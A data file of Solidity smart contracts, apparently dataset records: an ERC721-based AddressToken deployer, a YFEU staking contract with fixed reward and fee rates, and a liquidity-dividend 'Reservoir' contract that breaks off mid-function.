function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _clearApproval(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
function _checkAndCallSafeTransfer(address from,
address to,
uint256 tokenId,
bytes _data)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Enumerable.sol
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner,
uint256 index)
public
view
returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Enumerable.sol
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
constructor() public {
// register the supported interface to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721Enumerable);
}
function tokenOfOwnerByIndex(address owner,
uint256 index)
public
view
returns (uint256)
{
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Reorg all tokens array
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Metadata.sol
contract IERC721Metadata is IERC721 {
function name() external view returns (string);
function symbol() external view returns (string);
function tokenURI(uint256 tokenId) public view returns (string);
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Metadata.sol
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string internal _name;
// Token symbol
string internal _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
constructor(string name, string symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view returns (string) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Full.sol
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor(string name, string symbol) ERC721Metadata(name, symbol)
public
{
}
}
// File: contracts/AddressDeployer.sol
contract IAddressDeployerOwner {
function ownershipTransferred(address _byWhom) public returns(bool);
}
contract AddressDeployer {
event Deployed(address at);
address public owner = msg.sender;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
function transferOwnershipAndNotify(IAddressDeployerOwner _newOwner) public onlyOwner {
owner = _newOwner;
require(_newOwner.ownershipTransferred(msg.sender));
}
function deploy(bytes _data) public onlyOwner returns(address addr) {
// solium-disable-next-line security/no-inline-assembly
assembly {
addr := create(0, add(_data, 0x20), mload(_data))
}
require(addr != 0);
emit Deployed(addr);
//selfdestruct(msg.sender); // For some reason not works properly! Will fix in update!
}
}
// File: contracts/AddressToken.sol
contract AddressToken is ERC721Full("AddressToken", "ATKN"), IAddressDeployerOwner {
bytes32 public deployerHash;
constructor(bytes32 _deployerHash) public {
deployerHash = _deployerHash;
}
function ownershipTransferred(address _byWhom) public returns(bool) {
mint(_byWhom);
return true;
}
// Should be called by AddressDeployer smart contract
function mint(address _beneficiary) public returns(bool) {
require(deployerHash == keccak256(bytecodeAt(msg.sender)));
_mint(_beneficiary, uint256(msg.sender));
return true;
}
function burn(uint256 _tokenId) public returns(bool) {
require(_isApprovedOrOwner(msg.sender, _tokenId));
_burn(msg.sender, _tokenId);
AddressDeployer(_tokenId).transferOwnership(msg.sender);
return true;
}
function deploy(uint256 _tokenId, bytes _data) public returns(bool) {
require(_isApprovedOrOwner(msg.sender, _tokenId));
_burn(msg.sender, _tokenId);
AddressDeployer(_tokenId).deploy(_data);
return true;
}
function tokenURI(uint256 _tokenId) public view returns(string) {
address destination = firstAddressFromDeployer(address(_tokenId));
return addressToURI(destination);
}
// https://solidity.readthedocs.io/en/v0.4.24/assembly.html#example
function bytecodeAt(address _addr) public view returns(bytes outCode) {
// solium-disable-next-line security/no-inline-assembly
assembly {
// retrieve the size of the code, this needs assembly
let size := extcodesize(_addr)
// allocate output byte array - this could also be done without assembly
// by using outCode = new bytes(size)
outCode := mload(0x40)
// new "memory end" including padding
mstore(0x40, add(outCode, and(add(add(size, 0x20), 0x1f), not(0x1f))))
// store length in memory
mstore(outCode, size)
// actually retrieve the code, this needs assembly
extcodecopy(_addr, add(outCode, 0x20), 0, size)
}
}
function addressToURI(address _addr) public pure returns(string) {
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(51);
str[0] = "e";
str[1] = "t";
str[2] = "h";
str[3] = "e";
str[4] = "r";
str[5] = "e";
str[6] = "u";
str[7] = "m";
str[8] = ":";
str[9] = "0";
str[10] = "x";
for (uint i = 0; i < 20; i++) {
str[11+i*2] = alphabet[uint(value[i + 12] >> 4)];
str[12+i*2] = alphabet[uint(value[i + 12] & 0x0f)];
}
return string(str);
}
function firstAddressFromDeployer(address _deployer) public pure returns(address) {
// solium-disable-next-line arg-overflow
return address(keccak256(abi.encodePacked(byte(0xd6), byte(0x94), _deployer, byte(1))));
}
}
| 189,427 | 1,744 |
cf18bbf11be23df1d02b3e2a9e92464f3d08812e14a9ce2add39f86e9aeb6956
| 16,011 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x3039887BF4c545389054E14f4A50405E1b00fFc6/contract.sol
| 2,919 | 11,309 |
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract YFEUstaking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yfeu token contract address
address public constant tokenAddress = 0xA7877B1C6ec8De34707e5B947386cC094d7a0354;
// reward rate 72.00% per year
uint public constant rewardRate = 7200;
uint public constant rewardInterval = 365 days;
// staking fee 1.50 percent
uint public constant stakingFeeRate = 150;
// unstaking fee 0.50 percent
uint public constant unstakingFeeRate = 50;
// unstaking possible after 72 hours
uint public constant cliffTime = 72 hours;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
uint private constant stakingAndDaoTokens = 5129e18;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out YFEU from this smart contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress, "Cannot Transfer Out YFEU!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
| 253,193 | 1,745 |
5ea089a8f8515f4b9cbce59e8e3ba7ec150c1b2a2ae015b167a1e0197c6d2e44
| 27,843 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/42/42c3C3d4102eC19BaBa2B4d3011019E0C5ABfEFa_Reservoir.sol
| 5,545 | 21,122 |
pragma solidity ^0.4.25;
interface IToken {
function approve(address spender, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function balanceOf(address who) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
interface ISwap {
function getInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve) external view returns (uint256);
function getOutputPrice(uint256 output_amount, uint256 input_reserve, uint256 output_reserve) external view returns (uint256);
function bnbToTokenSwapInput(uint256 min_tokens) external payable returns (uint256);
function bnbToTokenSwapOutput(uint256 tokens_bought) external payable returns (uint256);
function tokenToBnbSwapInput(uint256 tokens_sold, uint256 min_bnb) external returns (uint256);
function tokenToBnbSwapOutput(uint256 bnb_bought, uint256 max_tokens) external returns (uint256);
function getBnbToTokenInputPrice(uint256 bnb_sold) external view returns (uint256);
function getBnbToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256);
function getTokenToBnbInputPrice(uint256 tokens_sold) external view returns (uint256);
function getTokenToBnbOutputPrice(uint256 bnb_bought) external view returns (uint256) ;
function tokenAddress() external view returns (address) ;
function bnbBalance() external view returns (uint256);
function tokenBalance() external view returns (uint256);
function getBnbToLiquidityInputPrice(uint256 bnb_sold) external view returns (uint256);
function getLiquidityToReserveInputPrice(uint amount) external view returns (uint256, uint256);
function txs(address owner) external view returns (uint256) ;
function addLiquidity(uint256 min_liquidity, uint256 max_tokens) external payable returns (uint256) ;
function removeLiquidity(uint256 amount, uint256 min_bnb, uint256 min_tokens) external returns (uint256, uint256);
}
contract Reservoir {
using SafeMath for uint;
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends() > 0);
_;
}
event onLeaderBoard(address indexed customerAddress,
uint256 invested,
uint256 tokens,
uint256 soldTokens,
uint256 timestamp);
event onTokenPurchase(address indexed customerAddress,
uint256 incomingeth,
uint256 tokensMinted,
uint timestamp);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethEarned,
uint timestamp);
event onReinvestment(address indexed customerAddress,
uint256 ethReinvested,
uint256 tokensMinted,
uint256 timestamp);
event onWithdraw(address indexed customerAddress,
uint256 ethWithdrawn,
uint256 timestamp);
event onClaim(address indexed customerAddress,
uint256 tokens,
uint256 timestamp);
event onTransfer(address indexed from,
address indexed to,
uint256 tokens,
uint256 timestamp);
event onBalance(uint256 bnbBalance,
uint256 tokenBalance,
uint256 timestamp);
event onLiquiditySweep(uint amount);
event onLiquidityProviderReward(uint amount);
// Onchain Stats!!!
struct Stats {
uint invested;
uint reinvested;
uint withdrawn;
uint rewarded;
uint taxes;
uint contributed;
uint transferredTokens;
uint receivedTokens;
uint xInvested;
uint xReinvested;
uint xRewarded;
uint xContributed;
uint xWithdrawn;
uint xTransferredTokens;
uint xReceivedTokens;
}
/// @dev 15% dividends for token purchase
uint8 constant internal entryFee_ = 10;
uint8 constant internal exitFee_ = 10;
uint8 constant internal dripFee = 50;
uint8 constant internal instantFee = 20;
uint8 constant payoutRate_ = 2;
uint256 constant internal magnitude = 2 ** 64;
uint constant MAX_UINT = 2**256 - 1;
// amount of shares for each address (scaled number)
mapping(address => uint256) private tokenBalanceLedger_;
mapping(address => int256) private payoutsTo_;
mapping(address => Stats) private stats;
//on chain referral tracking
uint256 private tokenSupply_;
uint256 private profitPerShare_;
uint256 public totalDeposits;
uint256 public totalWithdrawn;
uint256 internal lastBalance_;
uint private lockedBalance;
uint public players;
uint public totalTxs;
uint public dividendBalance;
uint public lastPayout;
uint public totalClaims;
uint256 public balanceInterval = 30 seconds;
uint256 public distributionInterval = 3 seconds;
address public swapAddress;
address public collateralAddress;
IToken private swapToken;
IToken private cToken;
ISwap private swap;
constructor(address _swapAddress, address _collateralAddress) public {
swapAddress = _swapAddress;
collateralAddress = _collateralAddress;
swapToken = IToken(_swapAddress);
swap = ISwap(_swapAddress);
cToken = IToken(_collateralAddress);
lastPayout = now;
}
/// @dev converts BNB into liquidity and buys
function buy() public payable returns (uint256){
require(msg.value >= 1e16, "min buy is 0.01 BNB");
totalDeposits += msg.value;
//Refresh approvals
approveSwap();
//use dust from previous txs
uint balance = address(this).balance;
uint tokens = sellBnb(balance / 2);
//the secret sauce for adding liquidity properly
uint bnbAmount = SafeMath.min(swap.getTokenToBnbInputPrice(tokens), address(this).balance);
//If you don't get bnbAmount from the contract you will have pain
uint liquidAmount = swap.addLiquidity.value(bnbAmount)(1, tokens);
return buyFor(msg.sender, liquidAmount);
}
function buyFor(address _customerAddress, uint _buy_amount) internal returns (uint256) {
uint amount = purchaseTokens(_customerAddress, _buy_amount);
emit onLeaderBoard(_customerAddress,
stats[_customerAddress].invested,
tokenBalanceLedger_[_customerAddress],
stats[_customerAddress].withdrawn,
now);
//distribute
distribute();
return amount;
}
function() public payable {
//DO NOTHING!!! Swap will send BNB to us!!!
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() public onlyStronghands returns (uint) {
// fetch dividends
uint256 _dividends = myDividends();
// retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(msg.sender, _dividends);
uint bnbAmount = calculateLiquidityToBnb(_dividends);
// fire event
emit onReinvestment(_customerAddress, bnbAmount, _tokens, now);
//Stats
stats[_customerAddress].reinvested = SafeMath.add(stats[_customerAddress].reinvested, bnbAmount);
stats[_customerAddress].xReinvested += 1;
emit onLeaderBoard(_customerAddress,
stats[_customerAddress].invested,
tokenBalanceLedger_[_customerAddress],
stats[_customerAddress].withdrawn,
now);
//distribute
distribute();
return _tokens;
}
/// @dev Withdraws all of the callers earnings.
function withdraw() public onlyStronghands returns (uint) {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(); // 100% of divs
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
//remove liquidity and sell the tokens for BNB
(uint bnbAmount, uint tokenAmount) = swap.removeLiquidity(_dividends,1,1);
bnbAmount = bnbAmount.add(sellTokens(tokenAmount));
// lambo delivery service
_customerAddress.transfer(bnbAmount);
totalWithdrawn += bnbAmount;
//stats
stats[_customerAddress].withdrawn = SafeMath.add(stats[_customerAddress].withdrawn, bnbAmount);
stats[_customerAddress].xWithdrawn += 1;
totalTxs += 1;
totalClaims += _dividends;
// fire event
emit onWithdraw(_customerAddress, bnbAmount, now);
emit onLeaderBoard(_customerAddress,
stats[_customerAddress].invested,
tokenBalanceLedger_[_customerAddress],
stats[_customerAddress].withdrawn,
now);
//distribute
distribute();
return bnbAmount;
}
function sell(uint256 _amountOfTokens) onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// data setup
uint256 _undividedDividends = SafeMath.mul(_amountOfTokens, exitFee_) / 100;
uint256 _taxedeth = SafeMath.sub(_amountOfTokens, _undividedDividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _amountOfTokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens + (_taxedeth * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
//drip and buybacks
allocateFees(_undividedDividends);
// fire event
emit onTokenSell(_customerAddress, _amountOfTokens, _taxedeth, now);
//distribute
distribute();
}
function totalTokenBalance() public view returns (uint256) {
return swapToken.balanceOf(address(this));
}
function lockedTokenBalance() public view returns (uint256) {
return lockedBalance;
}
function collateralBalance() public view returns (uint256) {
return cToken.balanceOf(address(this));
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends() public view returns (uint256) {
address _customerAddress = msg.sender;
return dividendsOf(_customerAddress);
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the token balance of any single address.
function bnbBalance(address _customerAddress) public view returns (uint256) {
return _customerAddress.balance;
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function approveSwap() internal {
require(cToken.approve(swapAddress, MAX_UINT), "Need to approve swap before selling tokens");
}
function sellTokens(uint256 amount) internal returns (uint256) {
approveSwap();
return swap.tokenToBnbSwapInput(amount,1);
}
function sellBnb(uint256 amount) internal returns (uint256){
return swap.bnbToTokenSwapInput.value(amount)(1);
}
function calculateLiquidityToBnb(uint256 _amount) public view returns (uint256) {
if (_amount > 0){
(uint bnbAmount, uint tokenAmount) = swap.getLiquidityToReserveInputPrice(_amount);
return bnbAmount.add(swap.getTokenToBnbInputPrice(tokenAmount));
} else {
return 0;
}
}
function calculateTaxedBnbToTokenLiquidity(uint256 _amount) public view returns (uint256) {
if (_amount > 0){
uint amount = swap.getBnbToLiquidityInputPrice(_amount.div(2));
return amount.mul(SafeMath.sub(100,entryFee_)).div(100);
} else {
return 0;
}
}
function calculateTaxedLiquidityToBnb(uint256 _amount) public view returns (uint256){
if (_amount > 0){
_amount = _amount.mul(SafeMath.sub(100,entryFee_)).div(100);
(uint bnbAmount, uint tokenAmount) = swap.getLiquidityToReserveInputPrice(_amount);
return bnbAmount.add(swap.getTokenToBnbInputPrice(tokenAmount));
} else {
return 0;
}
}
function sweep() public returns (uint256){
uint balanceOriginTokens = collateralBalance();
if (balanceOriginTokens >= 1e18 && tokenSupply_ > 0){
uint halfTokens = balanceOriginTokens.div(2);
uint balanceBnb = sellTokens(halfTokens);
uint balanceTokens = collateralBalance();
//the secret sauce for adding liquidity properly
uint bnbAmount = SafeMath.min(swap.getTokenToBnbInputPrice(balanceTokens), balanceBnb);
//If you don't get bnbAmount from the contract you will have pain
uint liquidAmount = swap.addLiquidity.value(bnbAmount)(1, balanceTokens);
//half goes to lock and the other half goes to Stronghold LPs
uint halfLiq = liquidAmount.div(2);
uint sweepBalance = liquidAmount.sub(halfLiq);
//Add the new liquidity to drip dividends;
dividendBalance += sweepBalance;
//Add the new liquidity to locked; Stronghold should show up on the leaderboard
lockedBalance += halfLiq;
emit onLiquiditySweep(halfLiq);
emit onLiquidityProviderReward(halfLiq);
return liquidAmount;
} else {
return 0;
}
}
/// @dev Stats of any single address
function statsOf(address _customerAddress) public view returns (uint256[15] memory){
Stats memory s = stats[_customerAddress];
uint256[15] memory statArray = [s.invested, s.withdrawn, s.rewarded, s.taxes, s.contributed, s.transferredTokens, s.receivedTokens, s.xInvested, s.xRewarded, s.xContributed, s.xWithdrawn, s.xTransferredTokens, s.xReceivedTokens, s.reinvested, s.xReinvested];
return statArray;
}
/// @dev Calculate daily estimate of swap tokens awarded in BNB
function dailyEstimateBnb(address _customerAddress) public view returns (uint256){
if (tokenSupply_ > 0){
uint256 share = dividendBalance.mul(payoutRate_).div(100);
uint256 estimate = share.mul(tokenBalanceLedger_[_customerAddress]).div(tokenSupply_);
(uint bnbAmount, uint tokenAmount) = swap.getLiquidityToReserveInputPrice(estimate);
return bnbAmount.add(swap.getTokenToBnbInputPrice(tokenAmount));
} else {
return 0;
}
}
/// @dev Calculate daily estimate of swap tokens awarded
function dailyEstimate(address _customerAddress) public view returns (uint256){
uint256 share = dividendBalance.mul(payoutRate_).div(100);
return (tokenSupply_ > 0) ? share.mul(tokenBalanceLedger_[_customerAddress]).div(tokenSupply_) : 0;
}
/// @dev Distribute undividend in and out fees across drip pools and instant divs
function allocateFees(uint fee) private {
uint _share = fee.div(100);
uint _drip = _share.mul(dripFee); //40 --> 50
uint _instant = _share.mul(instantFee); //40 --> 20
uint _lock = fee.safeSub(_drip + _instant); //20 --> 30
if (tokenSupply_ > 0) {
//Apply divs
profitPerShare_ = SafeMath.add(profitPerShare_, (_instant * magnitude) / tokenSupply_);
}
//Add to dividend drip pools
dividendBalance += _drip;
//Add locked tokens to global count;
lockedBalance += _lock;
}
// @dev Distribute drip pools
function distribute() private {
// @Bb updates balance data of contract
if (now.safeSub(lastBalance_) > balanceInterval && totalTokenBalance() > 0) {
(uint bnbAmount, uint tokenAmount) = swap.getLiquidityToReserveInputPrice(totalTokenBalance());
emit onBalance(bnbAmount, tokenAmount, now);
lastBalance_ = now;
}
if (SafeMath.safeSub(now, lastPayout) > distributionInterval && tokenSupply_ > 0) {
//A portion of the dividend is paid out according to the rate
uint256 share = dividendBalance.mul(payoutRate_).div(100).div(24 hours);
//divide the profit by seconds in the day
uint256 profit = share * now.safeSub(lastPayout);
